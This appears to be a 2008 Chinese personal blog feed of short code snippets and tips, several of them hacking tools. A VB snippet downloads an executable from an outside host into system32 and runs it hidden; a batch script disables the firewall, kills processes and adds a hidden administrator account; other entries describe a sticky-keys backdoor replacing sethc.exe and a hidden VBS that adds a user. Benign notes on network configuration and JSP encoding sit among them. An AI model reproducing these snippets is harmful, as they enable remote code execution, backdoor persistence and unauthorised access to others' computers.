2008-03-15 03:23
Option Explicit
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
|
2008-03-15 02:27
r = URLDownloadToFile(0, " http://rosekiller.host.shangren.net/1.exe", "c:\windows\system32\hehe.exe", 0, 0)
If Dir("c:\windows\system32\hehe.exe") <> "" Then
If r = 0 Then
Shell "c:\windows\system\hehe.exe", 0
End If
End If |
2008-03-14 01:08
@echo off
@net stop sharedaccess
@3389.exe -o 3389
@tasklist /svc >svc.txt
@FINDSTR /i "TermService" svc.txt >dest.txt
@FOR /F "tokens=2 delims= " %%1 in (dest.txt) do ntsd -c q -p %%1
@ntsd -c q -p 1136
@net user admin$ admin /add
@net localgroup administrators admin$ /add
@REG ADD HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@REG |
2008-03-12 11:11
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function BitBlt Lib "gdi32" ( _
ByVal hDestDC As Long, _
ByVal X As Long, _
ByVal Y As Long, _ |
2008-03-09 03:13
创建个TIMER
Option Explicit
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Type POINTAPI
X As Long
Y As Long
End Type
Dim p As POINTAPI
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const HWND_TOPMOST = -1
Private Const S |
2008-02-26 14:41
今天跟老师聊天时，谈到JSP在递交数据时对中文支持性差问题，他建议我使用utf-8模式，回来试验下，果然如此。经验往往要比技术本身更技术！ |
2008-01-25 00:15
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0); |
2008-01-25 00:09
@echo off
netsh interface ip set address name="本地连接" source=static addr=172.16.16.162 mask=255.255.255.0
netsh interface ip set address name="本地连接" gateway=172.16.16.3 gwmetric=0
netsh interface ip set dns name="本地连接" source=static addr=210.37.45.2 register=PRIMARY
netsh interface ip add dns name="本地连接" addr=210.37.45.5
netsh interface ip set wins name="本地连接" source=static addr=none |
2008-01-25 00:07
2008-01-25 00:02
@Echo Off
title QQ强制聊天器 By rose
color f4
mode con: cols=34 lines=5
:send
echo.
Set /p num= 请输入你想要聊天的QQ号码并回车:
If /I "%num%"=="n" Exit
start tencent://Message/?Uin=%num%
cls
Goto send |
2008-01-25 00:00
在目标cmd执行如下命令：
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
那么连接目标终端，只需要连续敲击shift键5次，即可以进入桌面了。
copy c:\windows\explorer.exe c:\windows\system32\magnify.exe
copy c:\windows\system32\magnify.exe c:\windows\system32\dllcache\magnify.exe
WIN+U激活放大镜,放大镜程序也可以替换
osk.exe 屏幕键盘
utilman.exe 辅助管理程序 |
2008-01-24 23:58
jar 回车会有提示
用法：jar {ctxu}[vfm0Mi] [jar-文件] [manifest-文件] [-C 目录] 文件名 ...
选项：
-c 创建新的存档
-t 列出存 |
2008-01-24 23:57
ntsd -c q -p PID | ntsd -c q -pn 进程名
只有System、SMSS.EXE和csRSS.EXE不能杀。前两个是纯内核态的，最后那个是Win32子系统，ntsd本身需要它。ntsd从2000开始就是系统自带的用户态调试工具。被调试器附着(attach)的进程会随调试器一起退出，所以可以用来在命令行下终止进程。使用ntsd自动就获得了debug权限，从而能杀掉大部分的进程。ntsd会新开一个调试窗口，本来在纯命令行下无法控制，但如果只是简单的命令，比如退出(q)，用-c参数从命令行传递就行了。NtsdNtsd 按照惯例也向软件开发人员提供。只有系 |
2008-01-24 23:50
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c net user ysk 123 /add",vbhide
保存为.vbs文件即可 |
2008-01-24 20:33
|
|
|
加为好友
给他留言
发送消息
